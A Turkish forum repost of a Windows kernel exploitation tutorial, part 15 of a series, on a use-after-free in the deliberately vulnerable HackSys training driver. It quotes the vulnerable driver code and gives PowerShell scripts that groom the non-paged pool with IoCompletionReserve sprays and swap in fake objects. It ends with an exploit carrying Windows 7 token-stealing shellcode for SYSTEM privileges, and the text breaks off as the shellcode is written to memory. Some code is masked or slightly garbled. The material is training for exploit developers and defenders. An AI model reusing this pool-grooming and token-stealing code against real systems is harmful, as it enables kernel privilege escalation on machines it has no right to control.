Windows Exploit Geliştirme Serisi #15 | Kernel Exploitation -> UAF

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,192
653
Bölüm 15: Kernel Exploitation -> UAF

Merhaba. Windows exploit geliştirme eğitim serisinin 15. bölümüne tekrar hoş geldiniz. Bugün pwning @HacksysTeam'in aşırı savunmasız sürücüsü hakkında başka bir gönderimiz var. Bu yazıda, "Karmaşık" vuln sınıflarının ilki olacak olan, Ücretsiz Sonra Kullan güvenlik açığından yararlanacağız! Okuyucuların, çekirdek havuzu belleği ve rezerv nesneleri hakkında kapsamlı bir açıklama sağladıkları için aşağıda listelenen kaynakları gözden geçirmelerini tavsiye ederim. Hata ayıklama ortamını kurma hakkında daha fazla ayrıntı için bölüm 10'a bakın.

Kaynaklar:
http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf
http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf
https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
Meydan okumayı yeniden değerlendirin

Bu gönderinin keşif kısmı, UAF güvenlik açığıyla ilgili bir dizi sürücü işlevi olduğundan biraz farklıdır. Uygun olan ayrıntıları sağlamak için sırayla her birine bakacağız.

AllocateUaFObject
Kod:
NTSTATUS AllocateUaFObject() {
    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Allocating UaF Object\n");
 
        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                                              sizeof(USE_AFTER_FREE),
                                                              (ULONG)POOL_TAG);
 
        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }
 
        // Fill the buffer with ASCII 'A'
        RtlFillMemory((P****)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
 
        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
 
        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;
 
        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;
 
        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
İşlev, sayfalanmamış bir havuz yığınını ayırır, bunu A'larla doldurur, bir geri çağrı işaretçisinin başına ve boş bir sonlandırıcı ekler. IDA'da hemen hemen aynı hikaye, aşağıdaki ekran görüntüsü referans olarak kullanılabilir. Nesne boyutunun 0x58 bayt ve havuz etiketinin "Hack" (küçük endian) olduğuna dikkat edin.
KernelUAF_1.png

Fonksiyonu çağırmak için aşağıdaki PowerShell POC'yi kullanabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
KernelUAF_2.png

FreeUaFObject
Kod:
NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    PAGED_CODE();
 
    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
 
#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((P****)g_UseAfterFreeObject, (ULONG)POOL_TAG);
 
            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((P****)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
Oldukça basit, bu, etiket değerini referans alarak havuz yığınını serbest bırakır. Bu, "g_UseAfterFreeObject" öğesinin nesne serbest bırakıldıktan sonra null olarak ayarlanmaması ve dolayısıyla eski bir nesne işaretçisini elinde tutması nedeniyle güvenlik açığını içeren işlevdir. Bunu aşağıdaki POC ile hızlıca deneyelim.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT

[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-n
KernelUAF_3.png

Havuz yığın adresinin yukarıda ayırdığımızla aynı olduğuna dikkat edin.

UseUaFObject
Kod:
 NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    PAGED_CODE();
 
    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");
 
            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
Bu işlev "g_UseAfterFreeObject" değerini okur ve nesne geri çağrısını yürütür. Bu işlevi aşağıdaki POC ile çağırırsak, esasen geçici belleği çağırırız çünkü sistem, uygun gördüğü herhangi bir nedenle önceden serbest bırakılmış havuz yığınını yeniden amaçlamakta özgürdür.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
KernelUAF_3.png

AllocateFakeObject

Son olarak ve biraz yapmacık bir şekilde, disk belleği olmayan havuza sahte bir nesne tahsis etmemize izin veren bir sürücü işlevimiz var. Bu işlev, orijinal UAF nesnesiyle aynı olan nesneleri tahsis etmemize izin verdiği için son derece kullanışlıdır.
Kod:
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Creating Fake Object\n");
 
        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                                               sizeof(FAKE_OBJECT),
                                                               (ULONG)POOL_TAG);
 
        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }
 
        // Verify if the buffer resides in user mode
        ProbeForRead((P****)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
 
        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((P****)KernelFakeObject, (P****)UserFakeObject, sizeof(FAKE_OBJECT));
 
        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
 
        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
Bu işlevi çağıracak POC aşağıda gösterilmiştir. Dikkat edin, burada bir tampon oluşturmalı ve bir giriş uzunluğu sağlamalıyız.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
KernelUAF_4.png

Her şeyi yap!

Oyun planı

Tamam, temel ilke gayet açık. (1) UAF nesnesini tahsis ediyoruz, (2) UAF nesnesini serbest bırakıyoruz, (3) havuz yığınını sahte nesnemizle değiştiriyoruz, (4) eski UAF işaretçisini çağırıyoruz ve geriçağırım işlevi ile kodu çalıştırıyoruz. bizim sahte nesnemiz. Güzel ve basit!

Burada karşılaşabileceğimiz tek sorun bellek hizalama ve havuz yığın birleştirme, yine Tarjei'nin makalesini okumanızı tavsiye ederim. Esasen, UAF nesnesini serbest bırakırsak ve bu nesnenin diğer serbest havuz parçalarına bitişik olması durumunda ayırıcı, performans nedenleriyle bu parçaları birleştirecektir. Eğer bu olursa, UAF nesnesini kendi sahte nesnemizle değiştirmemiz pek olası olmayacaktır. Bundan kaçınmak için sayfalanmamış havuzu tahmin edilebilir bir duruma getirmemiz ve sürücüyü UAF nesnesini daha sonra güvenilir bir şekilde üzerine yazabileceğimiz bir konuma tahsis etmeye zorlamamız gerekir!

Sayfasız Havuzu Derandomize Edin

Buradaki ilk hedefimiz, disk belleği olmayan çekirdek havuzunun "başlangıcındaki" tüm boş alanları olabildiğince iyi doldurmaktır. Bunu yapmak için, UAF nesnemize yakın boyutta bir ton nesne oluşturacağız. IoCompletionReserve nesneleri, disk belleği olmayan havuza tahsis edildikleri ve 0x60 boyutuna sahip oldukları için bunun için mükemmel bir adaydır!

Öncelikle, havuzu püskürtmeden önce IoCompletionReserve nesne türüne bir göz atalım (nesne türleri => "! Object \ ObjectTypes” ile listelenebilir.
KernelUAF_5.png

IoCo nesneleri oluşturmak için NtAllocateReserveObject işlevini kullanabiliriz. Bu işlev oluşturulan nesneye bir tutamaç döndürür ve tutamacı bırakmadığımız sürece nesne havuzda ayrılmış olarak kalacaktır. Aşağıdaki POC'de, bu nesneleri iki yerde püskürtüyorum, (1) parçalanmış havuz alanını doldurmak için x10000 nesne ve umarız ardışık olması gereken (2) x5000.

Hata ayıklama amacıyla komut dosyası, son 10 tanıtıcıyı standart çıktıya döker ve ardından otomatik olarak WinDBG'de bir kesme noktası başlatır.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Bunun gibi bir şey görmeli ve WinDBG'de bir kesme noktasına ulaşmalısınız.
KernelUAF_6.png

Tamamlama Yedeği türüne bir kez daha bakarsak, aslında 15000 nesne ayırdığımızı görebiliriz!
https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_7.png[IMG]
Standart çıkışa attığımız tutamaçlardan birini inceleyelim.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_8.png[IMG]
Beklendiği gibi, bu bir IoCompletionReserve nesnesidir. Ayrıca, bunun spreyimizin son tutamaçlarından biri olduğu düşünüldüğünde, sayfalanmamış havuzda ardışık tahsislere sahip olmamız gerekir.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_9.png
Woot, nesnemizin boyutunun 0x60 (96) bayt ve bazı sabit ardışık tahsisler olduğunu görebiliriz! Son bir adım olarak, disk belleğine alınmamış havuzda delikler oluşturmak için her ikinci IoCompletionReserve nesnesini ikinci tahsisimizden (toplamda 2500) kurtarmak için POC'umuza bir rutin ekleyeceğiz!
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
KernelUAF_10.png

Bu 2500 boş 0x60 bayt havuz yığınları artık tahmin edilebilir bir konumdadır ve her biri, tuhaf boyutlarda birleşmelerini önleyen iki ayrılmış parça ile çevrilidir!

EIP Üzerinde Kontrol Elde Edin

Oyun planımıza göre işleri bir araya getirme zamanı.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
 
# Trigger stale callback

# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
UseUaFObject işlevine geri arama işaretçisinin çağrıldığı ve son POC'umuzu çalıştırdığı bir kesme noktası koyalım.
KernelUAF_11.png

Oyun bitti

POC'umuzu silahlandırmak için tek yapmamız gereken geri arama işaretçisini kabuk kodumuza bir işaretçi ile değiştirmektir. Daha fazla ayrıntı için lütfen aşağıdaki tüm exploite bakın.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
